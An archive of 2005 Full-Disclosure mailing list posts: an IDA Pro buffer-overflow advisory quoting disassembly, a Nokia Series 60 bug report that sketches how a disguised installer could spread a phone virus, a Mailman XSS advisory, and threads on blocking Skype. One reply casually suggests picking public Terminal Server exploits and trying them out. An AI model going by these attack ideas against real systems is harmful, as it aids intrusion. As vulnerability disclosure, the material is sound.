Pro) allows attackers to execute arbitrary code under the context of the logged on user. The problem specifically exists in the code responsible for parsing the Portable Executable import directory. The import directory lists all the symbols imported by the PE file and is stored as an array of data structures. Each data structure contains the name of the imported library and a list of function pointers, known as the Import Address Table. A stack-based buffer overflow occurs when parsing long import library names in the following snippet of assembly from ida.wll (IDA Pro v4.7): 0x100838BB LEA EDX, [EBP-30C] 0x100838C1 PUSH DWORD PTR [EBP+8] 0x100838C4 PUSH EDX 0x100838C5 CALL ida.#835 "EBP+8" from above represents the attacker-supplied source buffer and "EBP-30C" represents the static stack-based destination buffer of approximately 800 bytes. The "ida_835" procedure performs an unchecked string copy overwriting a stored return address and allowing an attacker to redirect CPU flow to eventually execute arbitrary code. III. ANALYSIS Exploitation of the described vulnerability allows attackers to execute arbitrary code under the context of the logged in user. Exploitation requires that an attacker convince a target user to open a malicious Portable Executable file with a vulnerable version of IDA Pro. IDA Pro is the primary disassembler used by many security researchers. As such, the severity of this issue is exacerbated when considering the impact of a fast spreading worm combined with an exploit for this vulnerability. Although simple modification of an import library name is sufficient to exploit this vulnerability, the Windows loader will fail to recognize it as a valid PE file. This will result in a non-executable malicious binary. iDEFENSE has discovered a method for exploiting this vulnerability in a fashion that is undetectable via PE import table entry analysis, and that is affective against IDA Pro and will load and execute as a regular binary without error. It should be noted that other applications designed to analyze PE executables may also be vulnerable. PEiD is a freely available PE analysis tool and is also susceptible to attack. IV. DETECTION iDEFENSE has confirmed the existence of this vulnerability in IDA Pro versions 4.6 Service Pack 1 and 4.7 on both the Microsoft Windows and Linux platforms. It is suspected that earlier versions are also affected. V. WORKAROUND Prior to opening unknown files with vulnerable versions of IDA Pro, examine the PE import table entries for long or abnormal strings. There are a number of tools available for analyzing the PE file format. It is important to note that this method will not catch all exploit vectors. VI. VENDOR RESPONSE "A temporary fix is available here http://www.datarescue.com/cgi-local/ultimatebb.cgi?/forum/2.html A more generic fix will be available in the next IDA Pro release." VII. CVE INFORMATION The Common Vulnerabilities and Exposures (CVE) project has assigned the names CAN-2005-0115 to these issues. This is a candidate for inclusion in the CVE list (http://cve.mitre.org), which standardizes names for security problems. VIII. DISCLOSURE TIMELINE 01/12/2005 Initial vendor notification 01/12/2005 Initial vendor response 01/24/2005 Coordinated public disclosure IX. CREDIT Lord Yup is credited with this discovery. Get paid for vulnerability research http://www.idefense.com/poi/teams/vcp.jsp X. LEGAL NOTICES Copyright (c) 2005 iDEFENSE, Inc. Permission is granted for the redistribution of this alert electronically. It may not be edited in any way without the express written consent of iDEFENSE. If you wish to reprint the whole or any part of this alert in any other medium other than electronically, please email customerservice at idefense.com for permission. Disclaimer: The information in the advisory is believed to be accurate at the time of publishing based on currently available information. Use of the information constitutes acceptance for use in an AS IS condition. There are no warranties with regard to this information. Neither the author nor the publisher accepts any liability for any direct, indirect, or consequential loss or damage arising from use of, or reliance on, this information. From dk at pwarchitects.com Tue Jan 25 01:16:59 2005 From: dk at pwarchitects.com (dk) Date: Mon, 24 Jan 2005 19:16:59 -0600 Subject: [Full-Disclosure] 2 vulnerabilities combine to auto execute received files in Nokia series 60 OS In-Reply-To: <200501241943.j0OJh0rs021207@lists.netsys.com> References: <200501241943.j0OJh0rs021207@lists.netsys.com> Message-ID: <41F59E0B.1060402@pwarchitects.com> Paul Kurczaba wrote: > Wouldn't the phone try to open the jpg file as a picture, and not execute > it. Just like on desktop PCs: if you rename a .exe (application/program) to > a jpg (picture file), and try to open the file, your image program will open > the file, thinking it is a image file. The application code will not be > executed. Just because one peculiar desktop OS for PC's (MS' variety) chooses this action does not indicate that others do; especially where embedded systems are concerned. There are many ways it can be done. -- dk From alain at ait.ac.th Tue Jan 25 03:05:23 2005 From: alain at ait.ac.th (Alain Fauconnet) Date: Tue, 25 Jan 2005 10:05:23 +0700 Subject: [Full-Disclosure] blocking SkyPE? In-Reply-To: <7cc4cba805012412495f4afb2d@mail.gmail.com> References: <20050124085744.GC26105@ait.ac.th> <7cc4cba805012412495f4afb2d@mail.gmail.com> Message-ID: <20050125030523.GC16639@ait.ac.th> Hello list, Thanks to all the tips and suggestions about my question on how to block SkyPE traffic. I'll summarize and reply below: * "Brenno J.S.A.A.F. de Winter" : >You had the technical answer already. I just wanted add this: How >certain are you that Skype is really something you want to block. Have >you asserted there is a problem to solve? Well, not sure I have an usable answer yet (see replies below). Why do I want to block it? Because it's part of our policies to prohibit entertainment-related usage of the IT facilities on campus. We can't afford the b/w (mind you, b/w is *expensive* in developing nations, and especially here in Thailand due to a state monopoly on telecoms). SkyPE is definitely used for such as of now, on computers we don't control (dorms & housing especially). >Is the solution really what you want? If you want to block John Doe that >will be okay. If you have legions of techies walking around I'd rethink >your approach. Using OpenVPN it is easy tunnel all protocols that one >wants to use. I would certainly not call our users a legion of techies (sometimes I wish they'd be more techies than they are). Setting up a VPN would require having control of a box outside of our campus, which is not likely for the vast majority of them. Even if some can still get through, blocking 80+% of the current SkyPE users is good enough for me. * Bryan K. Watson : >Commercial, Off-The-Shelf: > >1)Fortinet stops this and I have used it for such...for T1 speeds you can >keep the cost under $1K and can be installed in bridge/transparent/inline >mode so as not to disturb your existing infrastructure. > >2)Checkpoint will do application/layer-7 inspection as well, but will cost >quite a bit more to purchase and implement. Thanks for the tip, I'll look into Fortinet if the big guys here are willing to open their wallets to reach the goal. A whole bunch of products do L7 inspection actually, but the real question is: can they detect SkyPE specifically? If you look into Cisco's NBAR L7 detection, it can certainly detect a lot of P2P (e.g. Kazaa - we're using it already), but to the best of my knowledge, not SkyPE at this time. There have been rumours around a SkyPE NBAR module, but none is available to the common mortal as of now. >Roll-your-own: > Probably will cost you more in time to do this, That's OK, my time is cheap :-( I've been already spending quite some time on this actually. > but you can use Snort to >detect and control an IPTables firewall...I have seen but not tried this >updated implementation of a dynamic IPTables config tool based on Snort >Rulesets: > > http://www.cipherdyne.com/ > > http://www.cipherdyne.com/fwsnort/ Oh yeah, this and the dozen of sibling open-source project (e.g. http://l7-filter.sourceforge.net/). Again, I'm afraid the issue is not the tool, the issue is the existence of patterns for L7 detection of SkyPE. However, using lsad to detect traffic patterns that are likely to relate to SkyPE (e.g. ICMP ping, then UDP to some high port at the same address with a packet size within a given range) then dynamically blacklist the target IP would be a track to explore. I'm afraid that the risk of false positive is quite high, though. * Graham Bignell >Why are you needing to restrict the protocol? I've tried and found it >was just easier to manage bandwith on a per-IP basis. Ye olde QoS. Hrm.. you mean source or target IP? Neither seems quite manageable at first sight in our case. Of course giving a high QoS to identifiable and (mostly) desirable traffic and a lower QoS to all the rest is the usual way. How would you differentiate real HTTPS traffic from SkyPE using port 443 though? (SkyPE can run completely over port 443 if nothing else is available). * James Tucker >[1] How about an application level policy, whilst it isn't the 'block' >that you are looking for it may be appropriate? Can you elaborate please? Is that a "don't install SkyPE" policy? or are you talking about L7 classification of traffic again? >[2] SuperNodes of the network typically run on a single port, although >IIRC they may change their bindings if necessary / by explicit >request. If you are having problems blocking it with due to dynamic >port bindings, then you may find it easier to maintain a ban list of >supernode ip's. This is somewhat heavy handed and a brute force >approach but it should work. Been there, tried that. The shared.xml file in C:\Documents and Settings\All users\Application Data\SkyPE has a list of SNs (supernodes) this machine uses. So I've tried having a test box feed its shared.xml file to a Linux-based gateway that generates a dynamic set of iptables rules to blacklists all these IPs. It only had marginal effectiveness, because there doesn't seem to be a centralised list of SNs. Each clients gets a list from the first SN it manages to connect to, but that list varies vastly from SN to SN. >[3] There was a suggestion at one time, (from Skype themselves IIRC) >that blocking 80.160.91.5 & 80.160.91.13 will prevent the bootstrap >nodes from authenticating properly with the client. I have not >verified this, (...) This is no longer true. I've also tried to build a list of SkyPE login servers and blacklist them, but I'm now almost sure that clients can authenticate through any SN (that basically tunnels the authentication to a login server). >[4] - The potentially expensive option; using a deep packet inspection >firewall you could check for skype authentication and network control >data, if found the connection could then be terminated and banned. >There are few firewalls which are capable of doing this at speed. See above on L7 detection. Not much to hook onto in an encrypted protocol that has obviously been engineered to evade signature-based detection. * "morning_wood" > sorry.. i found a simple dump ( refered to in the main paper I sent ) > >d.w >[03:49:01.714 - 01.06.2004] >Proto: UDP len: 46 195.182.78.24:10696 -> 4.65.228.218:42119 (...) I've made dozens of dumps as well, more or less matching your observations. >hi, i did some testing some months ago... >my enclosed paper is unpublished and >only based on some simple observation and testing. >if you find it of some use please credit it in any >presentation/research release. Thanks a lot for the paper. >Donnie Werner >June 1, 2004 >http://zone-h.org >http://80.160.91.13/index.php/peerenabler/developers/ >http://80.160.91.13/index.php/peerenabler/developers/documentation >Skype claims some "magical" things.. >based on evidence we can dedude what skype is doing. > >upon inspection skype operates as follows... (edited out for brievety) I have been unable to confirm that there's an identifiable set of central servers SkyPE needs to communicate to. This may have been true months ago (I think it was) but in its current incarnation, the product seems to happily live with only connectivity to supernodes, which may be a too fast moving target for practical blacklisting. At this time, it seems to me that the only track that is worth exploring, pending the availability of usable L7 detection protocol signatures for any open-source L7 traffic classification engine, and putting aside Fortinet which I have to look into, is the detection of "stateful traffic *patterns*" (as mentioned above) and dynamic blocking of targets. This doesn't look sexy, though. Thanks again for all the input, Greets, _Alain_ From b.anderson at ecu.edu.au Tue Jan 25 03:49:55 2005 From: b.anderson at ecu.edu.au (Brian Anderson) Date: Tue, 25 Jan 2005 11:49:55 +0800 Subject: [Full-Disclosure] Can we have... Message-ID: <41F5C1E3.7060508@ecu.edu.au> G'day, I enjoy reading some of the messages in the Full Disclosure list however I opt to receive the list as a daily digest. This has the problem (for me) that I have to scroll thru the entire email message looking for the item(s) that I want to read. Another list I subscribe to (Mailman-Users) has the following header... Content-Type: multipart/mixed; boundary="===============1525231028==" ... which (when using Thunderbird) nicely provides a method to jump to just the item(s) that I want to read. I have previously messaged the List-Owner regarding adding this however he suggested I ask the list so here I am. Do you believe that this is "good idea" and should be implemented? Thanks BJA -- ============================================================================= Brian Anderson Email: b.anderson at ecu.edu.au | Information Security Phone: 08 6304 6848 | /"\ ASCII Ribbon Campaign Edith Cowan University Intl: +61 8 6304 6848 | \ / NO HTML/RTF in e-mail Bradford Street, Mt Lawley Mobile: 0407 474 093 | X NO Word docs in e-mail Western AUSTRALIA 6050 Fax: 08 6304 6599 | / \ ===================== #include ========================== From shrdlu at deaddrop.org Tue Jan 25 04:35:46 2005 From: shrdlu at deaddrop.org (Etaoin Shrdlu) Date: Mon, 24 Jan 2005 20:35:46 -0800 Subject: [Full-Disclosure] Can we have... In-Reply-To: <41F5C1E3.7060508@ecu.edu.au> References: <41F5C1E3.7060508@ecu.edu.au> Message-ID: <41F5CCA2.7070608@deaddrop.org> Brian Anderson wrote: > G'day, > > I enjoy reading some of the messages in the Full Disclosure list > however I opt to receive the list as a daily digest. This has the > problem (for me) that I have to scroll thru the entire email message > looking for the item(s) that I want to read. [clip] > I have previously messaged the List-Owner regarding adding this > however he suggested I ask the list so here I am. > > Do you believe that this is "good idea" and should be implemented? It is not at all a good idea. I don't read the list in a digest, and can't see why I should Might I suggest either using a gmail account to subscribe, or channeling it in as a newsgroup (ala Usenet), which will allow you to have what you want, and not inconvenience the rest of us. Anything not plaintext just doesn't belong on a security mailing list. -- "Remember you told me to tell you when you were acting rudely and insensitively? Remember that? You're doing it right now." from Wargames From security at linux-mandrake.com Tue Jan 25 04:20:20 2005 From: security at linux-mandrake.com (Mandrake Linux Security Team) Date: Mon, 24 Jan 2005 21:20:20 -0700 Subject: [Full-Disclosure] MDKSA-2005:015 - Updated mailman packages fix vulnerabilities Message-ID: -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 _______________________________________________________________________ Mandrakelinux Security Update Advisory _______________________________________________________________________ Package name: mailman Advisory ID: MDKSA-2005:015 Date: January 24th, 2005 Affected versions: 10.0, 10.1, Corporate Server 2.1, Corporate Server 3.0 ______________________________________________________________________ Problem Description: Florian Weimer discovered a vulnerability in Mailman, which can be exploited by malicious people to conduct cross-site scripting attacks. Input is not properly sanitised by "scripts/driver" when returning error pages. This can be exploited to execute arbitrary HTML or script code in a user's browser session in context of a vulnerable site by tricking a user into visiting a malicious web site or follow a specially crafted link. (CAN-2004-1177). _______________________________________________________________________ References: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1177 ______________________________________________________________________ Updated Packages: Mandrakelinux 10.0: ae373070860eb1c736fcf66fd2c55d96 10.0/RPMS/mailman-2.1.4-2.2.100mdk.i586.rpm fec2dfd480fc02b17ccff70dd99b4db7 10.0/SRPMS/mailman-2.1.4-2.2.100mdk.src.rpm Mandrakelinux 10.0/AMD64: e8b98f2b51d9f11b87bc0a0391d44099 amd64/10.0/RPMS/mailman-2.1.4-2.2.100mdk.amd64.rpm fec2dfd480fc02b17ccff70dd99b4db7 amd64/10.0/SRPMS/mailman-2.1.4-2.2.100mdk.src.rpm Mandrakelinux 10.1: 8dd23a3f24902dfd6c79bf86607652fb 10.1/RPMS/mailman-2.1.5-7.2.101mdk.i586.rpm 60d219904e0b21f46b6d2867d6f180bb 10.1/SRPMS/mailman-2.1.5-7.2.101mdk.src.rpm Mandrakelinux 10.1/X86_64: 0f6eef6e7475e333a44b6dbead106f64 x86_64/10.1/RPMS/mailman-2.1.5-7.2.101mdk.x86_64.rpm 60d219904e0b21f46b6d2867d6f180bb x86_64/10.1/SRPMS/mailman-2.1.5-7.2.101mdk.src.rpm Corporate Server 2.1: 6dcfa5a401a8e7fc76a539a62374e18f corporate/2.1/RPMS/mailman-2.0.14-1.2.C21mdk.i586.rpm ceef33d5629e03e18760f8c001956664 corporate/2.1/SRPMS/mailman-2.0.14-1.2.C21mdk.src.rpm Corporate Server 2.1/x86_64: 0205dc5fd874578803b487dd58baad5e x86_64/corporate/2.1/RPMS/mailman-2.0.14-1.2.C21mdk.x86_64.rpm ceef33d5629e03e18760f8c001956664 x86_64/corporate/2.1/SRPMS/mailman-2.0.14-1.2.C21mdk.src.rpm Corporate Server 3.0: 6ba4581b2060d821d0d95b780fc80f16 corporate/3.0/RPMS/mailman-2.1.4-2.2.C30mdk.i586.rpm cfaf275a70905bede0d23767dbe1be25 corporate/3.0/SRPMS/mailman-2.1.4-2.2.C30mdk.src.rpm _______________________________________________________________________ To upgrade automatically use MandrakeUpdate or urpmi. The verification of md5 checksums and GPG signatures is performed automatically for you. All packages are signed by Mandrakesoft for security. You can obtain the GPG public key of the Mandrakelinux Security Team by executing: gpg --recv-keys --keyserver pgp.mit.edu 0x22458A98 You can view other update advisories for Mandrakelinux at: http://www.mandrakesoft.com/security/advisories If you want to report vulnerabilities, please contact security_linux-mandrake.com Type Bits/KeyID Date User ID pub 1024D/22458A98 2000-07-10 Linux Mandrake Security Team -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.4 (GNU/Linux) iD8DBQFB9ckDmqjQ0CJFipgRAqP7AKCO1g6F4Fc9UiQZbcdG1aqeKFtDugCdFJ6/ 0OlciUbQ/cqfNc6ybBxaW1s= =37sE -----END PGP SIGNATURE----- From Valdis.Kletnieks at vt.edu Tue Jan 25 05:13:36 2005 From: Valdis.Kletnieks at vt.edu (Valdis.Kletnieks at vt.edu) Date: Tue, 25 Jan 2005 00:13:36 -0500 Subject: [Full-Disclosure] blocking SkyPE? In-Reply-To: Your message of "Tue, 25 Jan 2005 10:05:23 +0700." <20050125030523.GC16639@ait.ac.th> References: <20050124085744.GC26105@ait.ac.th> <7cc4cba805012412495f4afb2d@mail.gmail.com> <20050125030523.GC16639@ait.ac.th> Message-ID: <200501250513.j0P5Da4H031277@turing-police.cc.vt.edu> On Tue, 25 Jan 2005 10:05:23 +0700, Alain Fauconnet said: > I would certainly not call our users a legion of techies (sometimes I wish > they'd be more techies than they are). Setting up a VPN would require > having control of a box outside of our campus, which is not likely for > the vast majority of them. Even if some can still get through, > blocking 80+% of the current SkyPE users is good enough for me. For those of you playing along at home, the actual requirement to set up a VPN is merely that they know somebody who has control of a box outside the campus (or even know where to find a tunnel broker). And Alain is probably quite correct that even that lower standard will stop 80% and be sufficient for his needs. But you need to remember the difference, in case you need *better* than 80%, and your users are either more clued or they know more clued people..... How to give the firewall admin indigestion: Do your dirty work via IPv6, and use a V6-over-V4 tunnel broker to get out to your remote site... :) -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 226 bytes Desc: not available Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050125/a9e2b8ff/attachment.bin From Valdis.Kletnieks at vt.edu Tue Jan 25 05:21:57 2005 From: Valdis.Kletnieks at vt.edu (Valdis.Kletnieks at vt.edu) Date: Tue, 25 Jan 2005 00:21:57 -0500 Subject: [Full-Disclosure] Can we have... In-Reply-To: Your message of "Tue, 25 Jan 2005 11:49:55 +0800." <41F5C1E3.7060508@ecu.edu.au> References: <41F5C1E3.7060508@ecu.edu.au> Message-ID: <200501250521.j0P5LvUS009521@turing-police.cc.vt.edu> On Tue, 25 Jan 2005 11:49:55 +0800, Brian Anderson said: > I enjoy reading some of the messages in the Full Disclosure list however I opt > to receive the list as a daily digest. This has the problem (for me) that I have > to scroll thru the entire email message looking for the item(s) that I want to read. Some mailing list software (such as LSoft's Listserv) allow the user to decide whether to receive each item in a separate mail, or in a standard flat-ascii digest, or a mime/multipart format digest. I have no clue as to whether Mailman supports it, however - merely that it's not a totally outrageous request, and it's at least theoretically doable... (Incidentally, getting a digest as a mime/multipart is a *BIG* win if your mail software deals well with it, especially if (for example) somebody attaches a .tar.gz or .zip of data to the mail - if your MUA does multipart well, it's just as easy as handling any other .tar.gz attached to a mail. If it shows up as a flat-ascii, you're going to have some hand-editing to recover that attachment....) -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 226 bytes Desc: not available Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050125/a2bb03a2/attachment.bin From alain at ait.ac.th Tue Jan 25 06:03:17 2005 From: alain at ait.ac.th (Alain Fauconnet) Date: Tue, 25 Jan 2005 13:03:17 +0700 Subject: [Full-Disclosure] blocking SkyPE? In-Reply-To: <009a01c50295$764dccc0$6500a8c0@p43400> References: <20050125030523.GC16639@ait.ac.th> <009a01c50295$764dccc0$6500a8c0@p43400> Message-ID: <20050125060317.GC20476@ait.ac.th> On Tue, Jan 25, 2005 at 03:22:20PM +1100, Gregh wrote: > > ----- Original Message ----- > From: "Alain Fauconnet" > To: > Sent: Tuesday, January 25, 2005 2:05 PM > Subject: Re: [Full-Disclosure] blocking SkyPE? > > > > Hello list, > > > > Thanks to all the tips and suggestions about my question on how to > > block SkyPE traffic. I'll summarize and reply below: > > > > ...just a quick suggestion that may already have been said as I don't know much about Skype myself: > > 1) It works on VOIP phones and web cams. > Web cams? not that I know. Looks like pure telephony to me. > 2) The sound is apparently like talking to someone in the room with you though they may well be the other side of the planet. If you have a lot of b/w, yes. My experience using a regular dial-up hasn't been too good. Speak Freely manages limited b/w way better. > > So given those facts, surely it is using transfer similar to audio streaming when a phone only and video streaming when not. Why not download the prog, use it and sniff packets at the same time to see what goes on. I did plug it in to see what it did to my firewall and it correctly identified it as Skype.exe attempting to get out on a hell of a lot of ports all at once. Looks like it is a torrent rather than streaming normally to be honest. Well, it's P2P, obviously. Not sure what you mean here, and whether this is relevant to my question of blocking it. Your host firewall has identified it because it knows the .EXE file the connection originates from... nothing to do with protocol recognition. > > In short, the places it attempts to contact would all appear to be >hardcoded No they aren't. > or in Windows case, likely stored in the registry. Neither (although it was the case in some older version). It's an XML file (see my previous posting). But this file is quite dynamic. It gets updated all the time as long as information is received from the supernodes. > I have not had time to check anything as yet to be honest, more than I have said >above. >Hope this, in some way, helps. Honestly, no, it doesn't :-) But thanks for the reply anyway! Greets, _Alain_ From nick at virus-l.demon.co.uk Tue Jan 25 06:12:16 2005 From: nick at virus-l.demon.co.uk (Nick FitzGerald) Date: Tue, 25 Jan 2005 19:12:16 +1300 Subject: [Full-Disclosure] Can we have... In-Reply-To: <200501250521.j0P5LvUS009521@turing-police.cc.vt.edu> References: "Your message of Tue, 25 Jan 2005 11:49:55 +0800." <41F5C1E3.7060508@ecu.edu.au> Message-ID: <41F69A10.29342.46B4C421@localhost> Valdis Kletnieks to Brian Anderson: > > I enjoy reading some of the messages in the Full Disclosure list however I opt > > to receive the list as a daily digest. This has the problem (for me) that I have > > to scroll thru the entire email message looking for the item(s) that I want to read. > > Some mailing list software (such as LSoft's Listserv) allow the user to decide whether > to receive each item in a separate mail, or in a standard flat-ascii digest, > or a mime/multipart format digest. As defined in section 5.1.5 of RFC 2046... ftp://ftp.rfc-editor.org/in-notes/rfc2046.txt > I have no clue as to whether Mailman supports it, however - merely that it's > not a totally outrageous request, and it's at least theoretically doable... Mailman apparently supports it: http://www.gnu.org/software/mailman/mailman-admin/node19.html Mailman supports two standard digest formats, and if digests are enabled, users can select which of the two formats they receive. One is MIME digests, where each message is an attachment inside a multipart/digest. This format also contains a summary table of contents, and of course the an optional header and footer, and it retains most of the headers of the original messages. The second type is called ``plaintext'' digests because they are readable in mail readers that don't support MIME. Actually, they adhere to the RFC 1153 digest standard. The retain some, but not all of the original messages, but can also include a summary and headers and footers. > (Incidentally, getting a digest as a mime/multipart is a *BIG* win if your > mail software deals well with it, especially if (for example) somebody attaches > a .tar.gz or .zip of data to the mail - if your MUA does multipart well, it's > just as easy as handling any other .tar.gz attached to a mail. If it shows up > as a flat-ascii, you're going to have some hand-editing to recover that > attachment....) Indeed, though I don't use the digested form of the list, so am not sure my "vote" should count. That said, the current Mailman dox seem to say that enabling digest mode should give the _subscriber_ the option of which digesting method they get. Perhaps the list admins need to update their version of Mailman, as I seem to recall that earlier versions supported only the non-MIME digest format... Regards, Nick FitzGerald From dan at losangelescomputerhelp.com Tue Jan 25 07:18:50 2005 From: dan at losangelescomputerhelp.com (Daniel H. Renner) Date: Mon, 24 Jan 2005 23:18:50 -0800 Subject: [Full-Disclosure] Re: Terminal Server vulnerabilities In-Reply-To: <200501250614.j0P6EA9Z010331@lists.netsys.com> References: <200501250614.j0P6EA9Z010331@lists.netsys.com> Message-ID: <1106637530.1948.304.camel@meposs> Original message: > Date: Mon, 24 Jan 2005 15:52:55 -0800 > From: "Daniel Sichel" > Subject: [Full-Disclosure] Terminal Server vulnerabilities > To: > Message-ID: > <190DFDD2F99A65469B4B15D3658C0D2BC5A495 at ptc6.ponderosatel.com> > Content-Type: text/plain; charset="us-ascii" > > I am currently locked in a death struggle with Microsoft's server > product group. They have dropped support for the IAS (RADIUS) mmc in > server 2003 and the 2000 version won't work under XP SP2. Their solution > is to user terminal server to control the server remotely to manage > RADIUS. Naturally I don't like this answer because of horror stories I > have heard about Terminal server. They claim there are no unfixed > vulnerabilities to Terminal Server on Windows Server 2000 Service Pack > 4. > > I find that hard to believe and I know you guys will know if they are > full of it, or they are correct. Please let me know ASAP of any CURRENT > vulnerabilities int Terminal Server. > > Dan Sichel > Network Engineer > Ponderosa Telephone > daniels at ponderosatel.com (559) 868-6367 > > P.S. the MMC is worse, it requires that port 139 or 445 be opened, but > that is not the point, I suspect they are feeding me a line and I want > to prove it. Thanks. > Dan, Try here for starters: http://www.google.com/search?q=%22windows+terminal+server%22+exploit&sourceid=mozilla&start=0&start=0&ie=utf-8&oe=utf-8 (2,310 results) Then pick one and try it out... -- Cheers, Dan Los Angeles Computerhelp http://losangelescomputerhelp.com 818.352.8700 From lists-security at nettracers.com Tue Jan 25 08:04:45 2005 From: lists-security at nettracers.com (lists-security at nettracers.com) Date: Tue, 25 Jan 2005 00:04:45 -0800 Subject: [Full-Disclosure] blocking SkyPE? In-Reply-To: <20050125030523.GC16639@ait.ac.th> Message-ID: <20050125080505.9D8A625C013@mail.nettracers.com> Full-Disclosure aspect: knowing the capabilities and limitations of the various firewalls employed. How policies can be violated without detection. Vendors and open-source community need to push to solve these real world problems. >...but the real question is: can they detect SkyPE specifically? This is from a Fortigate with factory release NIDS, AV and IPS databases - nothing custom - (someone with a checkpoint and others may pipe in here with their capabilities): On Status page: Recent Intrusion Detections Time Src/Dst Service Attack Name 2005-01-24 22:35:16 10.0.0.12 206.14.209.40 http skype Skype In Alert Log: 2005-01-24 22:35:16 log_id=1421051110 type=ips subtype=signature pri=alert vd=root attack_id=109051909 src=10.0.0.12 dst=206.14.209.40 src_port=3743 dst_port=80 src_int=port1 dst_int=port2 status=detected proto=6 service=http msg="p2p: skype,[Reference: http://www.fortinet.com/ids/ID109051909]" I am not blocking skype traffic or the kazaa traffic that is detected, but use this info to quantify the use of the network and to throttle bandwidth if needed to maintain QOS for business-critical functions. Once you muck with the priority of skype traffic, its utility as a usable telephone disappears. I think that Virgin Mobile has a cool invention called the cellular phone that most corporate skype users will find has better quality anyway. BTW, I found this statement on the skype firewall info page to be laughable, and since I like to laugh, I read it twice: "Ideally, outgoing TCP connections to all ports (1..65535) should be opened. This option results in Skype working most reliably. This is only necessary for your Skype to be able to connect to the Skype network and will not make your network any less secure." ...sure no egress limiting makes for a real secure network. I'll remember that 2bits worth of advice for my next consulting gig. I just had to argue this point with a user last week who quoted that exact line...he sounded real convincing too, and said "TCP" as if he really understood what he was talking about. Good Luck! - Bryan K. Watson - bwatson at nettracers.com From allan.vanleeuwen at orangemail.nl Tue Jan 25 08:33:32 2005 From: allan.vanleeuwen at orangemail.nl (Leeuwen, Allan van) Date: Tue, 25 Jan 2005 09:33:32 +0100 Subject: [Full-Disclosure] 2 vulnerabilities combine to auto execute received files in Nokia series 60 OS Message-ID: <88001FC5C453764CA6597FB29874249401151CC8@SVEX03.dutchtone.nl> Hi Rohit, Do you know if series 60 OS is the only affected OS ? Allan -----Original Message----- From: full-disclosure-bounces at lists.netsys.com [mailto:full-disclosure-bounces at lists.netsys.com] On Behalf Of rohit at kritikalsolutions.com Sent: Monday, January 24, 2005 6:01 AM To: bugtraq at securityfocus.com; full-disclosure at lists.netsys.com Subject: [Full-Disclosure] 2 vulnerabilities combine to auto execute received files in Nokia series 60 OS Hi, I forwarded this bug to Nokia security group, they believe it is a feature and not a bug. Whats your opinion? >>> 1. By default, executable files cannot be transferred (many mobile game companies probably earn their bread because games are not transferrable from one phone to the next). But if you rename the file (install file) to any extension such as jpg or an unknown extension, it can be transferred! So if i need to transfer a virus, all i need to do is rename the file to some jpg extension and and transfer it! 2. When series 60 OS receives such a file, it executes it immediately. For example, in case a MMS message comes with a picture or an installer attachment, Nokia would immediately start running the attachment. This is a major design flaw. Imagine a virus, renamed as a .jpg (mobile wall paper) is downloaded by users on p2p networks or from a website or can come from a friend. Virus installs itself and than shows a jpg file, so user does not suspect anything, while he is now infected. This is than sent to everyone in the address book, who again just see the wall paper after a prompt, while the virus has installed itself. The first problem can be used to exchange mobile games and ring tones for free. When you try to transfer the same without renaming, the OS does not allow transferring them. Thanks Rohit Dube New Delhi. Nokia response to both the problems follows: Hi Rohit, Sorry for the delay answering back to you. About your findings, the first one with sending files after changing the extension is a known limitation of the current implementation. We also implement OMA DRM 2 which will work as expected in such situations. The second one is also know feature, the file type is not determinated from the extension but from the content of the file. So a sis package renamed to an jpeg file still looks from the inside as a sis package and so the user is prompted for installation. Thank you again for your report. tatu > -----Original Message----- > From: ext rohit at kritikalsolutions.com > [mailto:rohit at kritikalsolutions.com] > Sent: Tuesday, January 18, 2005 04:17 > To: Mannisto Tatu (Nokia-TP-PST/Tampere); Ahlberg Janne > (Nokia-M/Tampere) > Subject: RE: series 60 os auto executes files > > > Hi Tatu, Janne, > Any information on this vulnerability? Can you please confirm your > findings and send me an update on when should I/we disclose it? Thanks > Rohit > _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html =========================================================== De informatie opgenomen in dit bericht kan vertrouwelijk zijn en is alleen bestemd voor de geadresseerde. Indien u dit bericht onterecht ontvangt, wordt u verzocht de inhoud niet te gebruiken en de afzender direct te informeren door het bericht te retourneren. Hoewel Orange maatregelen heeft genomen om virussen in deze email of attachments te voorkomen, dient u ook zelf na te gaan of virussen aanwezig zijn aangezien Orange niet aansprakelijk is voor computervirussen die veroorzaakt zijn door deze email. The information contained in this message may be confidential and is intended to be only for the addressee. Should you receive this message unintentionally, please do not use the contents herein and notify the sender immediately by return e-mail. Although Orange has taken steps to ensure that this email and attachments are free from any virus, you do need to verify the possibility of their existence as Orange can take no responsibility for any computer virus which might be transferred by way of this email. =========================================================== From k_preeth at rediffmail.com Tue Jan 25 08:58:39 2005 From: k_preeth at rediffmail.com (preeth k) Date: 25 Jan 2005 08:58:39 -0000 Subject: [Full-Disclosure] Mirroring procfs. Message-ID: <20050125085839.2912.qmail@webmail31.rediffmail.com> Sir, I work on Redhat Linux and we want to know if there is any method to mirror the '/proc' filesystem on one machine-A to another machine-B so as to monitor all the events occuring in A using machine-B. Preeth. -------------- next part -------------- An HTML attachment was scrubbed... URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050125/1a7628dc/attachment.html From rik.bobbaers at cc.kuleuven.ac.be Tue Jan 25 09:13:59 2005 From: rik.bobbaers at cc.kuleuven.ac.be (Harry de Grote) Date: Tue, 25 Jan 2005 10:13:59 +0100 Subject: [Full-Disclosure] Can we have... In-Reply-To: <41F5CCA2.7070608@deaddrop.org> References: <41F5C1E3.7060508@ecu.edu.au> <41F5CCA2.7070608@deaddrop.org> Message-ID: <200501251013.59873.rik.bobbaers@cc.kuleuven.ac.be> Op Tuesday 25 January 2005 05:35, Etaoin Shrdlu sgreifde: > It is not at all a good idea. I don't read the list in a digest, and > can't see why I should Might I suggest either using a gmail account to > subscribe, or channeling it in as a newsgroup (ala Usenet), which will > allow you to have what you want, and not inconvenience the rest of us. > > Anything not plaintext just doesn't belong on a security mailing list. i second that (if it comes to voting) i wouldn't want any binaries being posted in here. just clear text (not even html!!) then again... that's just my 2 eurocents -- harry aka Rik Bobbaers K.U.Leuven - LUDIT -=- Tel: +32 485 52 71 